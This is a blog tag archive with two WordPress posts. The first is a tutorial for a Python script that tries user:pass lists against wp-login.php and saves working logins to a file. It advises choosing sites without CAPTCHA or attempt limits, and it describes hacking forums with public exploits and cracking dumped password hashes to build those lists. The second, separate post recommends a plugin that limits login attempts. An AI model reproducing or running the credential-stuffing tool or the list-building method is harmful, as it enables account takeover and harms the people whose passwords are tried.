Tag Archive > wordpress

Login Checking

» 22 September 2011 » In Internet, Programming, Python, Security » 3 Comments

For so many years, I’ve been using login checkers. Mainly, these scripts aims to recover forgotten passwords. But from experience, people like to use these to get random accounts. For as long as there’s no captcha involved, login checking is possible. Let me show you an example how to make one.

WARNING: The procedure below is somewhat illegal (sense). Proceed at your own risk.

First is to set the target website. There are few things you need to consider on picking a website to check against.

  • No CAPTCHA
  • Login attempts are not limited
  • Webserver can take consecutive requests

CAPTCHAs can greatly block login checking. Though there are many ways to bypass them, large amount of work and integration is required. Also, if the login attempts are limited, we will not be able to accomplish, especially if our list size is greater than the maximum attempt count. And this may crash the target webserver, so extra care is required.

You also need a user-pass list, or just a password list. The most effective format would be in user:pass format, separated by newlines. In the past, we get unique content from forum databases. We’ve been hacking forums of different kinds using public exploits, extracting their user database, parsing them to user:hash:salt:email format, and running them into a hash cracker like PasswordsPro. Usually in a 100k user database, we get the ~20%, and its a pretty big amount of user:pass list.

A software that sniffs and captures http headers is also required. I recommend the Live HTTP Headers addon in firefox. This addon is extremely helpful in our side. Instead of examining the HTML form, we can just run a sample login and capture the data.

For this example, we will target my own wordpress login page. Don’t worry, I will create a user account for this testing (and will delete afterwards). The first thing you need to do is fire up the Live HTTP Headers plugin from firefox, and please close all other tabs or windows that makes requests over time, so it will not interfere with our header catching.

Live HTTP Headers

Live HTTP Headers

Next is to make a dummy login request. This is not a real user account, but this step will help us a lot. Now, this is how it will look like:

Dummy Login

Dummy Login

And if we will go back to our Live HTTP Header window, we will see that the POST request we made was captured.

Captured POST Request

Captured POST Request

From here, we can get enough information, but to see things more clearly, hit the Replay button.

Live HTTP Headers Replay

Live HTTP Headers Replay

There, we can see the POST URL and data that was passed. And of course, there are optional fields (how did I know this? trial and error) is POST data. In this case, we will only use:

log=testuser&pwd=testpass&wp-submit=Log+In

Now we go back to the login page. The key to knowing the user has logged in is on the error message. Yes, this is the easiest way to determine that it was a success. Although in some sites, there are different error messages. You can define them all through testing.

But why not a unique string from the dashboard, or from the page where the browser goes to when the login is successful? The problem here is, in some websites like wordpress, the browser is redirected to a certain page when the login is successful. It can be javascript redirect or header redirects. And in header redirects, cookies must be enabled, and for a simple script like the one we’re going to build, we try not to deal with cookies, plus, navigating to another page slows down the process.

In wordpress’ login page, there are several error messages. But what we’re going to look at, is a string or html code that was not present in the original login page, and the html response when the user is logged in successfully. And I believe, in this example, it would be: <div id="login_error"></div>.

Next, we should have our user list. We will create a 4 line userlist. I already created a user with credentials someuser:mypassword in my wordpress database as a subscriber, and we will input this in our list at line 3 so that we will know if our checker works. Here’s our account list, and we’ll store it in accounts.txt

user1:somepass
dummyuser:password2
someuser:mypassword
anotherone:itsnotme

Now lets build a simple python code to test all. First are the import statements.

import sys
import urllib2
import urllib
import os

sys is for the arguments, urllib2 for the http requests, urllib for the urlencode() method, and os for file existence checking.

And then of course, our entry point condition.

if __name__ == '__main__':
	main(sys.argv[1:])

The first thing we need to do in our main method is check for the filename argument.

if len(argv) == 0:
	'''
		Check if the there's no filename argument
	'''
	print 'No filename for dictionary specified.'
	sys.exit()
elif not os.path.isfile(argv[0]):
	'''
		Check if the file does not exist
	'''
	print '%s does not exist.' % argv[0]
	sys.exit()

Then we need to specify the baseurl of the target wordpress host. This includes the directory (if any) where the index page of wordpress resides without the trailing slash.

baseurl = 'http://somesite.com/blog'

Next is load the file line by line, and separate the user and password into different variables.

file = open(argv[0], 'r')
for line in file:
	'''
		Read line by line
	'''
	user, passw = line.strip().split(':')

And we will define our post data, and based on what we got from the request replay.

log=testuser&pwd=testpass&wp-submit=Log+In

We will be breaking this down into a dict, separating the field name from the value, and URL encode them. Then we make the request and store the response HTML to a variable.

data = urllib.urlencode({ 'log' : user, 'pwd' : passw, 'wp-submit' : 'Log+In' })
response = urllib2.urlopen('%s/wp-login.php' % baseurl, data)
html = response.read()

The next part is the checking. We will check for the occurrence of the string <div id="login_error"></div> in the response HTML. If it’s there, then our log in was invalid. And if its not there, then we have a valid account. The best way to remember the valid accounts is by putting it into a separate text file.

if '<div id="login_error">' in html:
	'''
		Check if response HTML has error
	'''
	print '%s:%s - INVALID' % (user, passw)
else:
	print '%s:%s - VALID' % (user, passw)
	save = open('valid.txt', 'a+')
	save.write("%s:%s\n" % (user, passw))
	save.close()

Lastly, outside the loop, close the file handle.

file.close()

Now let’s run shall we?

# python wploginchecker.py accounts.txt
user1:somepass - INVALID
dummyuser:password2 - INVALID
someuser:mypassword - VALID
anotherone:itsnotme - INVALID

And there you go, the checker is all working. You can fork the code in github if you want. That’s all.

Continue reading...

Tags: , , , , ,

Limit Login Attempts in WordPress using a Plugin

» 23 September 2010 » In Guides, Internet » No Comments

The WordPress log in page, is an elegant, unsecured page, that can easily be brute-forced. Since most of the default installs are using admin as the main administrator username, it is very easy for an intruder to go inside an administrator account. Being in an administrator account brings a lot of privileges for the intruder to perform numerous attacks on the server, gather sensitive information, or even access the database.

Brute-forcing

A lot of password brute-forcing tools are available everywhere on the internet. I myself can write one in PERL. The brute-forcing process can be very long, depending on the user’s password, and the attacker’s connection speed. If the script/program will be hosted on a fast server, provided with multi-threading support, the speed will be instantaneous. The chance of a brute-force attack to succeed will depend on the attacker’s password dictionary.

A Solution for WordPress

Luckily, it’s very easy to prevent this kind of attack. I found a plugin named Limit Login Attempts.

Limit the number of login attempts possible both through normal login as well as (WordPress 2.7+) using auth cookies.

By default WordPress allows unlimited login attempts either through the login page or by sending special cookies. This allows passwords (or hashes) to be brute-force cracked with relative ease.

Limit Login Attempts blocks an Internet address from making further attempts after a specified limit on retries is reached, making a brute-force attack difficult or impossible.

Features

  • Limit the number of retry attempts when logging in (for each IP). Fully customizable
  • (WordPress 2.7+) Limit the number of attempts to log in using auth cookies in same way
  • Informs user about remaining retries or lockout time on login page
  • Optional logging, optional email notification
  • Handles server behind reverse proxy

Translations: Bulgarian, Catalan, Chinese (Traditional), Czech, Dutch, French, German, Hungarian, Norwegian, Persian, Romanian, Russian, Spanish, Swedish, Turkish

Plugin uses standard actions and filters only.

You can download the plugin HERE.

Continue reading...

Tags: , , , , ,